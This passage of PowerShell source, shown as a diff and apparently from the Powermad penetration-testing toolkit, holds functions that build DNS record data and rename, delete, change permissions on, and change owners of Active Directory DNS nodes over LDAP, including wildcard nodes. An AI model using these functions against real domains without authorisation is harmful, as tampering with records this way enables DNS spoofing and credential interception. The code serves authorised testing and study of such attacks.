serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .EXAMPLE + Generate a byte array from the currect SOA serial number incremented by one. + New-SOASerialNumberArray + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Increment = 1, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$SOASerialNumber) + { + + if(!$DomainController -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + $Zone = $Zone.ToLower() + + function Convert-DataToUInt16($Field) + { + [Array]::Reverse($Field) + return [System.BitConverter]::ToUInt16($Field,0) + } + + function ConvertFrom-PacketOrderedDictionary($OrderedDictionary) + { + + ForEach($field in $OrderedDictionary.Values) + { + $byte_array += $field + } + + return $byte_array + } + + function New-RandomByteArray + { + param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) + + [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) + [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + return $random + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + function New-PacketDNSSOAQuery + { + param([String]$Name) + + [Byte[]]$type = 0x00,0x06 + [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + [Byte[]]$transaction_ID = New-RandomByteArray 2 + $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQuery.Add("Length",$length) + $DNSQuery.Add("TransactionID",$transaction_ID) + $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) + $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("Queries_Name",$name) + $DNSQuery.Add("Queries_Type",$type) + $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) + + return $DNSQuery + } + + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + try + { + $DNS_client.Connect($DomainController,"53") + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $packet_DNSQuery = New-PacketDNSSOAQuery $Zone + [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_client.Close() + $DNS_client_stream.Close() + + if($DNS_client_receive[9] -eq 0) + { + Write-Output "[-] $Zone SOA record not found" + } + else + { + $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive) + $DNS_reply_converted = $DNS_reply_converted -replace "-","" + $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001") + $SOA_answer_index = $SOA_answer_index / 2 + $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)] + $SOA_length = Convert-DataToUInt16 $SOA_length + [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)] + $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3] + } + + } + catch + { + Write-Output "[-] $DomainController did not respond on TCP port 53" + } + + } + else + { + [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3] + } + + return ,$SOA_serial_number_array +} + +function New-DNSRecordArray +{ + <# + .SYNOPSIS + This function creates a valid byte array for the dnsRecord attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid + array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DomainController + Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain + attached system. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The DNS zone that will be passed to New-SOASerialNumberArray. + + .EXAMPLE + Create a dnsRecord array for an A record pointing to 192.168.0.1. + New-DNSRecordArray -Type A -Data 192.168.0.1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + [OutputType([Byte[]])] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$Data -and $Type -eq 'A') + { + + try + { + $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + Write-Verbose "[+] Data = $Data" + } + catch + { + Write-Output "[-] Error finding local IP, specify manually with -Data" + throw + } + + } + elseif(!$Data) + { + Write-Output "[-] -Data required with record type $Type" + throw + } + + try + { + $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + function New-DNSNameArray + { + param([String]$Name) + + $character_array = $Name.ToCharArray() + [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} + + if($index_array.Count -gt 0) + { + + $name_start = 0 + + ForEach ($index in $index_array) + { + $name_end = $index - $name_start + [Byte[]]$name_array += $name_end + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) + $name_start = $index + 1 + } + + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + else + { + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) + } + + return $name_array + } + + switch ($Type) + { + + 'A' + { + [Byte[]]$DNS_type = 0x01,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'AAAA' + { + [Byte[]]$DNS_type = 0x1c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1] + [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() + } + + 'CNAME' + { + [Byte[]]$DNS_type = 0x05,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'DNAME' + { + [Byte[]]$DNS_type = 0x27,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'MX' + { + [Byte[]]$DNS_type = 0x0f,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'NS' + { + [Byte[]]$DNS_type = 0x02,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'PTR' + { + [Byte[]]$DNS_type = 0x0c,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1] + [Byte[]]$DNS_data = $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'SRV' + { + [Byte[]]$DNS_type = 0x21,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1] + [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0] + $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0] + $DNS_data += $Data.Length + 2 + $DNS_data += ($Data.Split(".")).Count + $DNS_data += New-DNSNameArray $Data + $DNS_data += 0x00 + } + + 'TXT' + { + [Byte[]]$DNS_type = 0x10,0x00 + [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1] + [Byte[]]$DNS_data = $Data.Length + $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data) + } + + } + + [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL) + [Byte[]]$DNS_record = $DNS_length + + $DNS_type + + 0x05,0xF0,0x00,0x00 + + $SOASerialNumberArray[0..3] + + $DNS_TTL[3..0] + + 0x00,0x00,0x00,0x00 + + if($Static) + { + $DNS_record += 0x00,0x00,0x00,0x00 + } + else + { + $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours + $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp)) + $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)} + $timestamp = $timestamp[0..3] + $DNS_record += $timestamp + } + + $DNS_record += $DNS_data + + return ,$DNS_record +} + +function Rename-ADIDNSNode +{ + <# + .SYNOPSIS + This function renames an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old + record within DNS. + + .PARAMETER Credential + PSCredential object that will be used to rename the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The source ADIDNS node name. + + .PARAMETER NodeNew + The new ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Renames an ADIDNS node named test to test2. + Rename-ADIDNSNode -Node test -NodeNew test2 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][String]$NodeNew = "*", + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.Rename("DC=$NodeNew") + Write-Output "[+] ADIDNS node $Node renamed to $NodeNew" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Remove-ADIDNSNode +{ + <# + .SYNOPSIS + This function removes an ADIDNS node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and + allowed to repliate to all domain controllers, the record will remain in DNS. + + .PARAMETER Credential + PSCredential object that will be used to delete the ADIDNS node. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Removes a wildcard node. + Remove-ADIDNSNode -Node * + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry.psbase.DeleteTree() + Write-Output "[+] ADIDNS node $Node removed" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Revoke-ADIDNSPermission +{ + <# + .SYNOPSIS + This function removes an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function is mainly for removing the ACE associated with the user that created the DNS node + after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones, + non-administrators will rarely have the ability to modify a DNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Principal + The ACE user or group. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Remove the GenericAll ACE associated for the user1 account. + Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + else + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null + $directory_entry.psbase.CommitChanges() + Write-Output "[+] ACE removed for $Principal" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Set-ADIDNSNodeAttribute +{ + <# + .SYNOPSIS + This function can append, populate, or overwite values in an ADIDNS node attribute. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can append, populate, or overwite values in an ADIDNS node attribute. + + .PARAMETER Append + Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute + to create multiple DNS records of the same name for round robin, etc. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to modify the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Value + The attribute value. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the writable description attribute on a node named test. + Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Attribute, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$true)]$Value, + [parameter(Mandatory=$false)][Switch]$Append, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + + if($Append) + { + $directory_entry.$Attribute.Add($Value) > $null + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node $attribute attribute appended" + } + else + { + $directory_entry.InvokeSet($Attribute,$Value) + $directory_entry.SetInfo() + Write-Output "[+] ADIDNS node $Node $attribute attribute updated" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + +} + +function Set-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can sets the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can sets the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be granted ownsership. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Set the owner of a node named test to user1. + Set-ADIDNSNodeOwner -Node test -Principal user1 + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$true)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) 